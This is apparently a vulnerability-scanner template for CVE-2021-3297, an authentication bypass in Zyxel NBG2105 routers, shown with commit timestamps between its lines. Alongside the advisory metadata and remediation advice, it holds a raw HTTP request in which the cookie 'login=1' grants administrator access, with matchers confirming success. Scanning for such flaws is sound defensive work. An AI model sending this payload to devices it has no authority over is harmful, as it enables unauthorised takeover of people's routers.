2021-08-02 07:34:16 +00:00
id : CVE-2021-3297
2022-04-22 10:38:41 +00:00
2021-08-02 07:34:16 +00:00
info :
name : Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
author : gy741
severity : high
2022-06-30 17:42:40 +00:00
description : Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
2021-08-19 13:59:55 +00:00
reference :
2021-08-02 07:34:16 +00:00
- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
2022-05-17 09:18:12 +00:00
- https://www.zyxel.com/us/en/support/security_advisories.shtml
- https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
2022-06-30 17:42:40 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-3297
cwe-id : CWE-287
2023-07-11 19:49:27 +00:00
epss-score : 0.18886
2023-11-03 15:51:18 +00:00
epss-percentile : 0.95678
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : zyxel
product : nbg2105_firmware
tags : cve,cve2021,zyxel,auth-bypass,router
2021-08-02 07:34:16 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-02 07:34:16 +00:00
- raw :
- |
GET /status.htm HTTP/1.1
Host : {{Hostname}}
2021-08-19 13:59:55 +00:00
Cookie : language=en; login=1
2021-08-02 07:34:16 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "Running Time"
- "Firmware Version"
- "Firmware Build Time"
condition : and
2022-06-30 17:42:40 +00:00
2022-07-02 10:26:58 +00:00
- type : status
status :
- 200
2023-11-03 17:10:29 +00:00
# digest: 4a0a00473045022065db9f125aa757c36fc42abe42f03433da81964ff3960dd2742b178456da929a022100ad826a7196e41d7999c515ce9143bcad5a3360aedb3c674d94c8a151db909aca:922c64590222798bb761d5b6d8e72950